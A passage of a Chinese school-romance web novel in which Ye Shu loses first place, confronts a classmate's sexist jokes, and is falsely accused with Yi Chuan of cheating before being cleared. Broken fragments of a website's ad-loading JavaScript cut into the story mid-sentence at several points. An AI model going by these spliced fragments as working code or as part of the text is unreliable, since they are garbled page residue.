他本还可惜叶舒的第一没了，没想到人家就掉了一名，反观自己这次可是掉了近百名。 “那这次是谁第一？” “贺琛。” 叶珩惊讶：“他成绩竟然那么好？” 男生间的相识十分容易，两人是隔壁班，宿舍也相邻，打过几场球便熟识了，只是没想到他成绩那么好。 叶舒客观评价道：“他成绩很好，从未掉出过我们班前三。而且他还是学生会主席，最近事很忙，他还能考那么好挺不容易的了。” 对于贺琛，她总是很佩服，无论是作为同学视角，还是老师视角，他都是一名非常乖觉的学生。 就是乖觉到有些无趣。 记得曾经她拒绝贺琛的告白，他也是一副不好意思的唯诺样。 ...... 两人聊了一阵就回班了。 叶舒回到班上，见许多同学围着成绩单在看自己的单科成绩与排名。 贺琛也在里面。 他身旁几名男生看着成绩单，搭上他的背玩笑着调侃他道：“贺琛，你这次考那么好！竟然还把叶舒挤下去了，牛啊！” 叶舒走近那圈人，也想看看自己这次的成绩。 贺琛看见叶舒，浅笑着叫了声她名字，叶舒也冲他微笑，以示回应，随后转身看向成绩排行表。 一名男同学嘻笑着对叶舒说：“叶舒，你这次第一被贺琛‘抢’了，你作何感想啊？” 叶舒：...... 总有些缺心眼的人来叨扰她。 48. 球场 重回高中这几年，叶舒就发觉一件事。 无论何种年龄段的男人，总喜欢用玩笑态度说些令人厌恶的话语。 其实他们自己深知，这些话本就不好。 贺琛闻言，一脸错愕，连忙瞟了眼叶舒。 叶舒无论月考、大考都是第一，这次忽然掉了名次心里肯定难受。虽说这同学说的是玩笑话，但叶舒毕竟是女孩子，被当众这么问这么尴尬的问题，任谁都会不高兴。 贺琛刚想说些什么将这尴尬的话题揭过，就见叶舒背对着那人翻了个白眼。 她转过脸，语气平淡，脸上挂着浅淡礼貌的微笑，看不出情绪：“你这话问得挺无聊的。” 叶舒平日鲜少与同班的男生聊天，那男生见叶舒回了他的玩笑话，便以为叶舒不介意他的玩笑话，还想顺势聊下去：“你坐了第一这么久，突然没了，是不是很可惜？” 叶舒反问他：“你考第几名？” 男生忙摆了摆手，谦虚道：“那肯定没你高啊，我才十几名。” “那你说什么？大家都是重点班的，成绩自然都是很好的，这好中还要比个至尊好吗？”叶舒说，“再说，距离高考还有那么多场考试，谁又知道下一次第一是谁？我只要保证我高考考得不差就好了。” 男生这才听出叶舒的不满，愣在原地。 叶舒望着成绩单自己的名字，说：“我发现你们这些男生真的很奇怪。我是第一的时候也没见你们来恭喜我连续几次都是第一，反而总是阴阳怪气地说‘叶舒又是第一啊’。这次第一是男生，而我只是从第一掉到第二，你就高兴地跟像自己得了第一一样，也不知道在得意什么。如果这次第一是女生，你对她的态度是不是也会和对我一样？” 男生被叶舒问得哑口无言，找不到话回应：“我、我就是开个玩笑，你生气啦？哈哈哈......” 叶舒身旁听了全程的女同学帮忙出声嘲讽男生道：“你是开玩笑了，又没人觉得好笑。” “我.....” 叶舒转过脸来，重新看向男生：“我没有生气啊，我像在生气？我就是好奇地问问你，难道我不像在开玩笑吗？” 她轻笑，她那漂亮的脸蛋上扬起友善的笑容，但那笑容只叫人觉得瘆人。 几名男生目瞪口呆地看着她，心中腹诽道：还真不像...... 叶舒本就无意与他们争个高下，说完自己一直想说的，便找了个借口回座位。 片刻后，贺琛来到她座位旁。 见贺琛靠近，叶舒抬头。 贺琛开口向叶舒解释：“叶舒，我没有他们那个意思。” “我知道。”叶舒莞尔一笑，“我们那么熟了，我能不知道你吗？” 贺琛挠了挠头，耳朵发热，有些不好意思：“对不起。” 叶舒诧异地看着他：“对不起什么？” “我刚刚没帮你说话——其实我本来想帮你说话的，只是你后来自己说了，所以我就......” 叶舒觉得好笑：“我还以为什么事呢，你又没做错什么，你道歉什么？真要道歉的还畏畏缩缩的，指不定在心里怎么骂我呢。” 贺琛以为她还在气头上，下意识宽慰她：“其实他们说话就是这样，不太好听，不过也没什么恶意......” 叶舒无奈地扯了扯嘴角，“贺琛，你不必为他们说话吧。我知道你与他们不同，所以我不会将你与他们相提并论，但并不是所有人都像你一样随和善良的。” 贺琛一怔，愣在原地。 他还想说些什么，上课铃声便响了。 叶舒也随之对他说：“上课了，你回去吧。” - 放学后，叶舒来到图书馆。 不知是不是刚考完试不久，一时半会儿没有学习的紧张感，叶舒想松懈一番，不想学习。 她站在书架前，看着一本本书脊，犹豫着拿哪本看。 “难得来这没看见你在学习。” 叶舒闻声侧头，对上那双再熟悉不过的眉眼。 易川斜倚靠在书架旁，一瞬不瞬地盯着她，目光如炬，深邃的眼底闪过一抹调笑的意味。 确实，这一年来，只要他到，叶舒准坐在位置上埋头赶作业。 他身上一如既往地带着水汽，只是今日的湿气似乎格外重，像是只随意擦了擦几下就出门了，发梢间偶有小水滴低落至他的眼睫上，他甩了甩头，随手将水珠擦掉。校服第一颗纽扣没扣上，领口微微敞开，有些痞气。 叶舒并不窘迫，自顾自地笑了笑，随后靠近他，说：“你怎么不扣扣子，想耍帅？有这么急着出门吗？” 易川没回应她的问题，勾唇默默扣上了扣子。 二人距离拉近后，叶舒才注意到他脸颊边淌着一抹水珠，下意识地伸出了手。 易川怔然，向后躲了半步。 “你干什么？” 叶舒这才发现两人的距离极近，她甚至能闻到他身上沉木的清香，那双丹凤眼正直勾勾地看着自己，她清楚地看见他根根分明的睫毛，与瞳孔里若隐若现的自己。 她心跳猝然漏了一拍，忙收回手，说：“你脸上有水。” 易川噢了一声，随后擦了擦脸颊边的水渍。 两人回到座位。 叶舒今日本就想休息一回，发生了刚才的事，更是无心学习。 她眼珠一转，看向易川。他似乎也无心学习，姿态散漫地拿着本刚在书架上拿的书翻看。 他今天似乎心情不错，指尖一点一点地敲着书沿。 叶舒主动开口：“你看成绩了吗？你这次考得怎么样？” 他翻书的手定住，轻抬眼皮：“我发现你真的很喜欢在很好的时刻说不合时宜的话。” 他语气轻快，没有半分被打扰的不快。 借此，叶舒有恃无恐，笑吟吟地看着他：“我看你今天心情好像很好，所以才敢问你。” “既然知道我心情好还问扫兴的话。” “所以是考得怎么样？” “还行吧，进步了。你想看的话，明天把成绩单给你看。” “那就是很好咯，还会主动把成绩单给我看，难得啊~” 易川嘴角微微上扬，关上书看着她：“你今天也难得不学习，一直同我聊天。” 叶舒犹豫了片刻，开口：“今天有点不想学。” 易川扬眉：“为什么？” “可能有点累了吧。”叶舒望向窗外欢呼的体育场，随后转过头冲他勾了勾唇，“反正成绩出来了，你也进步了，今天先休息一下吧。我们走吧。” ...... 二人漫步在校园的小径上，日落西山，霞光落在两人脚边，二人的影子在脚下重重叠叠。道路旁边就是篮球场，不时传来几阵欢呼声。 叶舒看着两人的影子：“我记得这次表彰大会，每个班进步最大的也会上台进行表彰，终于能在表彰大会上看到你了，感觉怎么样？” 易川不屑一笑，“那自然没有你上台演讲风光。” 叶舒：“诶~巧的是，我这次刚好不用演讲了。” 易川愣了一瞬，随即很快反应过来叶舒这次不是第一了，“你不是第一了？” 叶舒：“掉了一名，第二名。” 她若无其事，语调淡然无谓，甚至有些欢快。 易川：“谁是第一？” “贺琛。” “他竟然这么厉害。”易川这话倒有些酸意，同叶珩刚知道这事的态度一样。 叶舒宽慰他道：“他成绩一直都很好，而且也很努力，第一也不奇怪。” “你还帮他说话。” 叶舒哭笑不得，她也不知道为什么易川和叶珩看起来比她还难受。大概是她经常得第一，让这俩小伙误以为年级第一就得是她的头衔了。 “第一和第二又有什么区别，不都是成绩好的证明吗？那我要是掉了几百名，我是不是前面几百名都得怨？” 易川被她的好心态打败，没再说话。

'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > “易川——！！” 一声响亮的叫喊打断两人的聊天。 叶舒和易川转头望向声源处，看见不远处王朗正朝两人大力地挥着手。 见状，二人径直向王朗走去。 王朗穿着黑色T恤，衣服早已浸满了汗，贴在他身上。 他畅快地邀请易川道：“易川！来打球啊！” 易川微微皱眉，向后退了一步，“我洗澡了。” 王朗：“嗨！待会再回去洗呗。你抱着一堆书干嘛，去学习啊？” 易川向叶舒方向递了个眼神：“她的。” 王朗嫌弃地努嘴：“啧，受不了你们。” 他依旧不死心地邀请易川，球场上几名熟悉的男同学也附和着，甚至拉着他进球场。 “我洗澡了。”易川躲着满身是汗的几名男生，手里还端着那摞书。 “别学了，你这次都进步第一了，还学！给自己休息会儿吧！” “叶舒，你也劝劝易川呗！”男生们起哄道。 虽说以叶舒的性格，无人敢调侃她与易川的关系，但他俩关系非同一般大家都心知肚明。 “你想打吗？想打就去吧，不想打就走。”叶舒开口问他。 易川确实好一阵没打球了，但毕竟刚洗了澡，他仍有些不情不愿。见叶舒认真问他，他还是耐着心性问她：“那你怎么办？” 叶舒自然而然地回复道：“我在这等你呗。” 易川眼眸微沉，没吭声，似在思考。 几名男生听见叶舒这么说，发出了一阵暧昧的起哄声。 易川鄙夷地斜了一眼他们，随后答应道：“行。” “哦吼！” 男生们欢呼道，准备新开一局。 王朗贴脸开大：“果然还是叶舒说话好使。” 易川：“王、朗。” 王朗急忙掩嘴，屁颠屁颠地跑回场中央。 叶舒从易川手里接过书，随后看着他上场。 似乎男生只要接触到体育运动，就会像脱缰的野马。 平日沉默的少年，此时竟解开上衣的第一颗纽扣，张扬肆意地跑过半个球场。 天际的落日散下光晕，落在少年们的肩上和脸上。易川本身就白，在一众褐色皮肤的男生中格外耀眼，周围的人逐渐模糊，唯有他的轮廓是清晰的。 叶舒从未见过这样的易川，即使是在原来的世界，她也从未得见笑得这样开怀的易川。 这段时间以来，自己看到都是他陪同她认真写作业的模样。 她不免在想自己最近是否把他逼太紧了。 她莫名想起过往碎片里那个小男孩，在家中不得意、被压抑着的易川。 或许只有这时候他是忘却一切，真切地、毫无顾虑地在开心吧。 其实自己何尝不是呢？ 在家中、在父母眼中，自己总是得注意着周遭的一切，生怕两人某一刻又因为什么吵起来。 如同惊弓之鸟，总是无法随性放松。 只有在学校这方净土里，她才有片刻安宁。 虽说在学校得学习，可是对于叶舒来讲，她可以暂时忘却自己糟糕的家庭氛围，随性所欲地与凌熙东拉西扯、与王朗和叶珩嬉笑怒骂，甚至于与易川相坐学习都是美好的。 叶舒知道，即使过往碎片呈现出易川对于学习也是要强的，可又有几位学生是真的能忍受在强制的规矩下坐在一方教室里连续学习十几个小时的呢？ 叶舒对男生之间的竞技体育并不感兴趣，可今日见易川这般，忽然想多看几次他打球。 想多看到他这样畅快地笑着。 在他这个年纪，人本就该这样开心快乐的。 她的目光追随着易川的身影，见他身后敏捷地拦截一球，紧接着纵身跳跃，篮球在空中划出一道抛物线，随后，球稳稳地落入筐内。 见球投进，叶舒也不自觉地弯了弯唇。 随即，她目光移回易川的位置，正好对上易川那含笑的眼睛。 49. “作弊” 次日，课间。 叶舒记完黑板上老师的板书后，长舒了一口气，然后看向黑板一角的课表——下午有节体育课。 她们班与易川班级体育课是同一时间。 叶舒看着“体育”两字不免想起昨日在球场上恣意潇洒的易川。 他体育课自由活动时间定会与班上的男生一起打篮球。 念及此，她勾唇，隐隐期待日后的体育课。 “叶舒，班主任叫你等会自习课找她。”一名同学的出现打断了她的幻想。 叶舒忙停止想象，应道：“噢，好。” ...... 自习课。 此时是上课时间，办公室没有课间的热闹，老师们坐在自己的工位上备着课，只有细碎敲击电脑键盘和翻书的声音。 叶舒走进杨丽丽的桌位，随后注意到一旁陶珠的办公工位前有一道熟悉的背影。 易川？ 他站在陶珠面前，陶珠坐在位置上，一脸愁容地扶着头。 她看不见易川的表情，只觉得他背影有些紧绷冷峻。 这是......怎么了？ 叶舒心下好奇，但还是及时收回眼神，向杨老师问好：“老师，你找我？” 杨丽丽抱臂站在工位处，皱着眉看着桌面的试卷，听见叶舒的声音，她抬头，表情揉合了些许：“你来了。我叫你来是有个事。” 她向一旁的陶珠递了个眼神，随后陶珠转过身看向叶舒，语气有点：“叶舒，今天叫你过来，是有个事要向你求证一下。” “有人举报你和易川期中考协同作弊。” ！！ 叶舒：“怎么可能？！” 陶珠见叶舒一脸惊愕，也是一脸为难：“我自然愿意相信你们俩的为人，但毕竟有人这么说，而且级长也知道这事了，让我们过来同你们说这事。” 叶舒忙自我辩解：“我没有作弊，易川也没有。老师，既然有人说我们作弊，就要拿出证据，否则凭什么说我们作弊？” 陶珠和杨丽丽对视一眼，更加为难。 杨丽丽：“现在还没下处分，所以我们才叫你们过来查证，因为我和陶老师都看过监控视频，无法证明你们是否作弊。” 随即，她点开监控视频给两人看：“视频画质有限，单单只能看出你掉落了东西，然后他捡了起来，并且放在了桌上，没有还给你也没有上报老师，我们没法知道那东西上是否有内容。” 叶舒看着监控视频的自己与易川对视了几秒，她记起是期中的语文考试期间，她掉落了橡皮，易川捡起来那时。 叶舒指着监控画面：“老师，这只是个橡皮，而且在视频里都能看出这东西那么小，怎么可能作弊？” “但也没办法证明那上面没有和考试内容相关的东西，万一有怎么办呢？” 身后响起一道男人的声音。 叶舒回头看，便看见级长赵明德走了进来。 陶珠和杨丽丽向级长打了声招呼。 级长走近杨丽丽的工位，看了眼视频，说：“既然有人说，那必定是有原因的，不能不查，而且看这视频，也不能证明你们完全无辜。 杨丽丽趁此站出来提议：“赵老师，我们出去说吧。办公室里还有老师学生，别打扰他们。” 赵明德点了点头，毕竟这事影响不好，还没下结论之前要让人误会了，对学生名声不好。 四人出了办公室，寻了处无人的角落。 叶舒咽不下这口气，忙解释道：“老师，您知道的，我成绩一直还算不错，以我的成绩大可不必作弊。大型考试中学校一贯查得严格，我又为什么要担这个会败坏我名声的风险干没有必要的事？” “叶舒，稍安勿躁。”级长摆摆手安抚叶舒道，“我并不怀疑你的实力，但并不代表你没有帮别人作弊的可能。” 级长看了眼易川，幽幽道：“据我们调查，你们两个先前是一直是一个班的，关系很好。易川的成绩，与上次相比确实是进步了很多。” 他看着两人的成绩单对比，言辞明显在怀疑易川。 闻言，叶舒呆了一瞬，目瞪口呆，反应过来后极为愤怒道：“老师，您怎么能这样说呢？难道学生就不能进步吗？照您这样怀疑，那进步的学生都有可能作弊。而且易川这段时间以来一直都认真学习，我可以证明。我相信老师和同学们也有目共睹！为人师表不能区别对待任何学生，可您的话却带着偏见之意，这是一个老师应该有的态度吗？” “叶舒。” “叶舒！” 两位女老师和易川同时出声提醒她道。 衣角被人拉了拉，叶舒侧头，对上易川深邃的眼睛。 乌黑透亮的眼瞳深处，有担忧、审慎，就是没有愤慨。 叶舒忿忿不平，小声对他道：“你怎么不说话，你被冤枉你还不解释？” 易川：“说了，但没什么用，还是僵持在这。” 他语气淡然，但叶舒还是听出他的暗讽之意。 陶珠赶忙站出来为他们说话：“易川这个学期确实很认真学习，好几位任课老师也说他态度诚恳，几次小测也有进步。” 级长难看的表情这才下去。 叶舒猜得到，级长迟迟不定罪处分他俩，一来是级长熟知叶舒是成绩优异的好学生，他并不怀疑她，也不想处分她，所以即使她言辞激动不敬他也极力忍耐；二来是他确实没有确凿证据。 可是若是换作易川今日这般不敬师长的言论，他还会这般耐着心性与他对话吗？ 想到这，叶舒一阵心寒，也不管级长难看的表情，继续直言：“即使是这个视频也无法证明我们就作弊了，老师却硬要我们承认我们作弊，这和‘屈打成招’有什么区别？您说我们作弊但又没有完全的证据，我们也有理由说我们没作弊。” 叶舒不服：“举报的人是谁？我要见他！” 级长皱着眉，颇为为难地看了眼陶珠，思虑道：“不行，这毕竟是敏感话题，未免伤了和气，还是不能让你们见面。” 叶舒不可思议地看着老师，讽刺道：“那人背地里这样诬陷我们，还怕伤了我们的和气？” 级长叹息一声，对叶舒说：“我知道你们不甘心，但我们作为老师也得全面考量。所以，两位老师知道后才商量着找你们俩来问话查证。” “查证？”叶舒捉住字眼，不免嘲弄，“说是查证，但我们解释却也不听，这是查证吗？” 她又想起监考老师，忙道：“若是我们真的有作弊，难道监考老师会没有察觉吗？” 级长：“我问过你们那场监考老师了，他记得你们一会儿互相张望了，没办法为你们作证。” 叶舒解释道：“那时是我的橡皮意外掉了出去，然后被易川捡到，我们只对视了几秒，他后面也挥手暗示我认 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 真考试，这怎么能表明我们就作弊了呢？而且监控视频也显示，我与易川只对视了那么几秒，若是我们真的作弊，怎么可能只对视几秒？总不能我们脸上有答案吧？” 语毕，叶舒看着几名老师，杨丽丽和陶珠皆颇为为难垂着眸，她们是打工人，就算想为他俩说话，一时拿不出证据也没辙。 看着这样子，叶舒只剩下心慌焦灼。 她深吸一口气，强迫自己冷静下来，随即立刻想到漏洞继续道：“我与易川只在这场考试里对视了一瞬，老师也只放了这个监控，就证明其他考试里我们举止正常，没有嫌疑。而这场是语文考试，语文选择题少，主观题多，不好作弊。老师大可以比对我们的答案，看看到底有没有作弊。” 杨丽丽和陶珠看向级长，级长默不作声。 也是，怎么会别场考试都不作弊，却在语文考试上作弊？按常理，语文是最不可能作弊的学科，只有选择题和古诗词上有作弊的可能，可这两者分值占比也少。 易川与叶舒的语文成绩相差二十分，怎么看也联想不到一块。 场面僵持不下，级长苦恼地说了句从长计议便放两人离开。 - 两人出了办公室，脚步沉重。 叶舒低着头，眉头紧锁，双手抓握着，思绪凌乱。 正焦灼不安之际，眉心感到一点温度，她抬头，便看见易川站在她面前，伸手点了点她的眉心。 “你回去吧。” 即使大难当前，他还扯出个勉强的笑容宽慰她。 见此，她替他感到委屈，但嘴上还是控诉他刚刚的“不作为”：“你刚刚干嘛不辩解，若是我不说话，你知不知道真的有可能就处分了？” “这么生气，为我打抱不平？” 易川嘴角漾起饶有兴致的笑，伸手理了理她鬓旁被风吹乱的碎发，结果下一秒他的手就她被拍开。 叶舒：“笑笑笑，现在是开玩笑的时候吗？” 易川微笑安抚似的笑笑，笑容竟有些苦涩：“我解释了，但苦于没有证据。” “……” 叶舒无话。 也是，陶珠没有实权，而易川先前又是成绩差的一方，有些人自然会对他有偏见。 “他们怀疑我们应当是他们拿出证据，不应该是我们拿出证据证明自己。”叶舒恨铁不成钢，“你没做过就应该为自己辩解，没有到最后一刻你都应该一直为自己辩解。” “你难道不知道处分通知单会放布告栏吗？来来往往的学生都会看到，到时候所有人都会说你作弊了。你明明是靠自己努力取得了好成绩，难道就愿意看大家怀疑议论你吗？” 叶舒浑身颤抖，不知道究竟是气的，还是在后怕。 她知道自己不该对易川发脾气，他也是受害者，可她一想起刚刚若不是自己极力辩解，以级长平日对决策的专断，真的有可能就此决断。 如若不是今天牵扯了她，若是普通学生，级长还会听他们辩解吗？ 她不敢想。 正惶惶不安中，叶舒听见易川说： “我问心无愧。” 叶舒微怔。 半晌，她侧过头，不想看他的脸：“就算我们问心无愧，但人言可畏你懂不懂。” 易川一只手搭上她的肩，压下叶舒内心的紧张，刚刚还在颤抖的肩膀逐渐平静下来，叶舒动了动唇，还是把想说的话咽了回去。 50. “护犊子” 体育课。 午后灿烂的阳光照耀在绿色的球场地面上，烤出一股难闻的塑胶味。球场处，一团团人堆围着球你来我往，在塑胶地面擦出咯吱咯吱的响声。 “所以他们怀疑你帮易川作弊？”叶珩不可置信地喊道。 叶舒抱膝坐在台阶上，皱着的眉毛今天一天就没松开过：“你太大声了。” 坐在叶舒身旁的凌熙打抱不平：“他们拿不出证据，还要你们拿证据证明自己无罪，哪有这样的道理？” 叶珩环视一周，忙寻找易川的身影，随后视线定格在不远处的篮球场上。 “嘿，这个时候了他还有心情去打球。” 叶珩起身想去找易川问询细节，又被叶舒拉回。 “打就打吧，难不成还像我一样在这‘郁郁寡欢’啊。反正现在也没定论，老师那边有说话自然会找我们过去的。” 叶舒抬眸而望，一眼便捕捉到那个熟悉的身影在操场中恣意穿梭。 她轻扯唇角。 本想今日可以再欣赏一次他在篮球场上潇洒笑着的场景。 可惜她现在心情实在郁闷，提不起精神。 - 翌日上午。 叶舒一上午的课听得并不安心，看着看着黑板总想起“作弊”的事。 思虑再三，她还是打算主动出击，去找老师问清楚现在的进度。 她出了教室，径直前往办公室。 叶珩恰巧从教室后门出来，迎面望见叶舒，见她一脸严肃，便走上前问她去干什么。 “去找老师，说‘作弊’那事。” 叶舒步子飞快，叶珩险些没跟上她。 他呆愣了一会儿，反应过后立刻追上她说：“诶，我和你一起去！” “你跟过来干嘛，又没你什么事。” 叶舒边说着边踏进了办公室。 她抬眼望去，杨丽丽的工位上没人，她不在；陶珠则坐在工位上，与一名学生在说话。 杨老师不在也没事，陶珠作为涉事人员的老师，肯定也清楚事情的发展状况。 她示意叶珩噤声，随后走向陶珠老师的位置。 “老师，我确实看到了他们交头接耳。每每想起来，我心里都觉得不对，毕竟这件事不正义，对同学来说也不公平。若是老师你放任不管，多让人寒心啊。” 随着叶舒走近，她听见陶珠身旁的学生说。 杨乐铉？！ 叶舒听见熟悉的声音，立刻认出这是杨乐铉。 原来是他！ 原来他就是那个举报者！ 她顿时想起昨日她提及举报人时级长瞥向陶珠的那一眼。 原来如此，难怪赵明德看向陶珠，原来是陶珠班上出现的“内讧”。 可是他为什么要这样做？ “杨乐铉，原来是你。”叶舒走上前，也不顾陶珠的存在，劈头盖脸就对他一顿好骂，将这两天积攒被诬陷积攒的怨气一吐为快，“我说为什么昨天老师们不愿供出你。现在想来，原来是因为你们同班，老师不想闹得太难看，才不愿告诉我们。” 她言辞激烈，声音响亮，一下引来办公室里的众人侧目。 杨乐铉也没想到叶舒会突然出现在这里，呆愣了一会便立即惊慌失措地看向陶珠求助。 陶珠拉住叶舒：“叶舒，冷静一点。” “老师你要我怎么冷静？我被冤枉了，难道还要我摁头承认吗？”叶舒怒不可遏地看向杨乐铉。 陶珠也没想到事情怎就变成了现在这个局面，她自己也是手足无措。 既要一碗水端平，好好解决这事，又不想两人伤了和气。但叶舒心高气傲，既让她知晓了杨乐铉就是这幕后的举报人，那两人之间是绝对无法坐下来好好聊天了。 杨乐铉大概是不想乘下风，努力镇定道：“你和易川确实有嫌疑，监控也可以佐证，有什么好说的？” 叶舒：“我与易川只在语文考试对视了两秒，就能判定作弊了？而且那是语文考试，一个橡皮能传递什么？” 杨乐铉：“谁知道呢？即使是语文也有选择题，而且那橡皮在你们那，你们也大可以销赃，没人知道？” “你！” 叶舒气得脖颈都开始泛红，想靠近他却被叶珩拉住，只能直直地凝视着杨乐铉的眼睛，逼迫他看着自己：“杨乐铉，我敢说我没作弊，你敢肯定我们作弊吗？要是最后判定你诬陷我们，你一定——” 她骂人的话还未说出，叶珩便捂上了她的嘴。 他太了解她了，若他不及时出手，还不知道她要说什么气话呢。 “叶舒！”陶珠打断叶舒的话，如今叶舒在气头上，她不敢想象下一秒她会说出什么。若是放任叶舒胡乱说话，反而对她不利。 叶舒猛地挣开叶珩的手，没再坑声，被迫冷静了下来。 叶珩站出来帮忙说话：“老师，期中考我和易川、叶舒是一个考场，我就坐在叶舒那列后面两个位置，她和易川的举动我都能看清。我作证，易川和叶舒绝对没有作弊。” 杨乐铉闻言嗤笑：“全年级谁不知道你和叶舒是亲戚，易川又是你舍友，你自然帮他们俩说话。老师，他的话不可信。” 叶舒冷笑一声：“好赖话都让你说了呗。你和叶珩都属于人证，硬要算的话都是一面之词，怎么你的话就得相信，他的话就不能信了？” 杨乐铉撅嘴，换了个说辞：“行。既然这样，我想问，大家考试的时候都在写试卷，叶珩怎么就敢肯定你们没作弊？难不成叶珩也在东张西望？” 叶珩怒极反笑：“你……” “呵。” 叶舒扑哧一笑。 “是啊，大家考试的时候都在写自己的试卷。”叶舒斜眼看他，“所以，你怎么就知道我和易川作弊了呢？难道你一直在看着我们，看我们有没有作弊？” “我记得你的位置在教室靠里的后排，理应是看不清我们坐在教室靠外的前排的我们的，你又怎么那么肯定我们作弊了？难道你在东张西望，故意观察我们？” 杨乐铉被问得一愣一愣的，支支吾吾解释道：“我、我......你们动静那么大，我就往你们那看了一眼。” 叶舒冷笑：“是吗？我们动静那么大，监考老师都没说我们作弊，你隔这么远就一口咬定我们作弊。” “行了行了，都别吵了！”陶珠捂着太阳穴崩溃喊道。 三人这才安静下来。 碰上这群学生算她倒霉！ “老师，我想问，杨乐铉期中成绩是不是在易川之下。”叶舒忽然这么问陶珠。 陶珠翻看了成绩单后说：“是。” 叶舒还未开口，杨乐铉便问她：“你问这个是什么意思？——你不会是想说我因为易川考得比我高，所以我才来举报他吧？” 闻言，叶舒不禁失笑，意有 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 所指地开口：“我可什么都没说，是你自己说的，我可没往这方面想。” “你——！” “行了，别斗嘴了！要就好好说！”陶珠急忙制止两人，杨乐铉这才噤声，不情不愿地瞪了叶舒一眼。 叶舒：“老师，我就是想问杨乐铉。若他是为了正义和公平，那为什么考试的时候不站出来说话？” 杨乐铉张口欲辩解，“我”字还未说出口，叶舒便再度开口堵住了他的话头。 叶舒：“若是你觉得害怕，那为什么考完试你不和老师说？——你可能想说你‘纠结犹豫’，那考完试那么多天你怎么都不说？期中考到现在过了半个月，你有那么多次机会可以举报，但你为什么不说？你不是说为了正义和公平吗，那为什么不早点告诉老师让大家都看看易川的真面目？偏偏成绩公布了你才告诉老师，我怎么觉得你这动机不纯啊～” “我、我，你......！” 杨乐铉涨红了脸，红着眼盯着叶舒，一个字也憋不出。 叶舒微扬下巴：“我怀疑我们作弊，我也有理由怀疑你妒忌，所以借此机会诬陷我们。反正你要是硬说我们作弊，你就拿出证据。” 叮玲玲—— 上课铃声借势响起，这场闹剧才勉强收场。 陶珠送走几位学生后坐在位置上敲着突突跳的脑袋，从未觉得上课铃声如此动听过。 她入行本就没几年，虽说也遇见过几次生事端的孩子，但这种“勾心斗角”的事她还是头一回见。 - 叶舒被叶珩推出办公室。 她本还想追问杨乐铉，结果他腿脚挺快，一溜烟就跑回自己班了。 二人出了办公室发现易川就站在办公室门口。 “你怎么在这？”叶舒对他的出现很是惊讶。 易川语调平缓：“有人说你们在办公室里吵架，我就来看看。” 易川扫视了眼“怨气冲天”的两人，叹了口气：“其实你不该因为他在老师面前闹的，还在老师面前留下了不好的印象。” “他就在我面前我怎么可能不骂？”叶舒瘪嘴，“况且，他在老师面前印象可不一定就好过我。” 叶舒抬头，注意到易川眼里似是闪过一抹动容的神色。他手缓缓升起，似是要朝自己额前伸来。 他是......要做什么吗？ …… 叶珩：“我们先回班吧，上课了都。” 叶珩适时出言，打破两人之间微妙的氛围。 叶舒：...... 易川：...... - 次日课间，叶舒坐在位置上写作业，却看不进题目，心烦气躁。 虽说杨乐铉露出了马脚，可还得老师那方松口才行。 “叶舒！”凌熙站在教室门口激动地喊她名字。 叶舒看向她，莫名猜到她要说什么，不等她叫自己过去，她便立刻起身出了教室。 她踏出教室，便看见易川站在她们班门前，晨阳光线在层叠的云层中若隐若现，薄阳落他眼睫处，投下一道浅浅的阴影，柔和的视线穿过那层阴影定定地看着她。 遇上这样的事，叶舒几日见易川他脸上都带着淡淡的愁容，如今终于在他脸上看到了一丝愉悦，此刻她心跳竟莫名加快。 易川嘴唇翕动，一字一句道。 “经几位老师商讨证实，我们没有作弊。” 51. 陆雯 春夏的过渡总是不明显，似乎不知道什么时候校园里就能常听见阵阵的蝉鸣声了。天气稍热了几天，结果又连着落了几场大雨，天空总是阴沉沉的，课间似乎也变得压抑沉闷起来。 今日终于天晴了，课间又变回先前喧闹聒噪的模样。 “叶舒，有人找你。”一名同学对叶舒说道。 闻言，叶舒出了门，便看见了许久未见的那张面孔——陆雯。 “你回来了！”叶舒惊喜地拥向她，陆雯也欣喜地抱住她。 这大半年，叶舒只在手机视频里见过她。如今见到真人，便立即发现陆雯消瘦了许多，原本圆润的脸竟瘦了下巴尖了不少，人虽然白了，但眼下乌青明显，像是许久没睡好觉那般。 叶舒：“你瘦了好多。集训那么累吗？” 陆雯弯了弯唇，眼底却没有笑意。 叶舒注意到她情绪不对，正想开口，陆雯便先说：“我放学来找你吃晚饭，有很多话想对你说。” 叶舒隐隐疑惑，还是没将自己的疑问说出口，点头与她约定。 ...... 放学后的时间总是特别悠闲，地面上还有些昨日雨后的积水，点点日光从云层中撒下，积水面光影斑驳。 叶舒和陆雯手挽手抵达食堂。 两人正在细聊杨乐铉诬陷的事，进入食堂，迎面看见王朗与易川。 王朗瞥见陆雯后，惊讶道：“陆雯？你回来啦？！” “是啊，昨天回来的。”陆雯笑着向两人打招呼。 易川微微颔首，看了眼叶舒便垂下眼，依旧是那副神色淡然的模样。 几人寒暄了几句，便分开，各自吃饭。 陆雯因为想与叶舒独处，便回绝了王朗要一起吃饭的建议。 叶舒与陆雯相对而坐，陆雯侧头望了眼远处的易川和王朗，转头悄声对叶舒说：“你和易川，怎么回事？” 叶舒动筷子的手一顿，很快便恢复自然：“什么怎么回事？” 陆雯会心一笑：“虽然说是我说不和他们一起吃饭，但我也看出来，你不想和易川在一块。” 叶舒勉强地扯了扯唇角。 陆雯继而问她：“怎么回事，你帮他解释了作弊的事，又怎么会像现在这样？” 叶舒轻叹一声。 经“作弊”一事，叶舒与易川的关系确实多了几分“同是天涯沦落人”的感觉。 但，也正是因为“作弊”这事，陶珠和杨丽丽似乎误会上了两人的关系。 两位老师还私下找过叶舒聊这事。 叶舒自然不承认，她与易川关系本就单纯。 最多也就只有她对易川有别的心思，但至少表面上，他俩绝对坦荡。 ...... 陶珠：“叶舒，你和易川我也是看过来的，你俩关系确实有点过于亲密了，——我不是说你们‘早恋’，但这个年纪的男女之间难免会有悸动——你对他没有心思那你确定易川对你也没这个意思吗？” …… 杨丽丽：“我听陶珠老师说，你和那个男同学关系很好。你的成绩是年级里数一数二的，我希望你不要因为男女同学之间的关系影响到自己——我当然相信你的话，可是你确定之后也不会影响你吗？你这次已经掉了一名，就算不会影响你的成绩也不会影响到那个男生吗？” 两位老师虽说是为她好，但叶舒不是孩子了，同为老师，她对于这种话早已免疫。 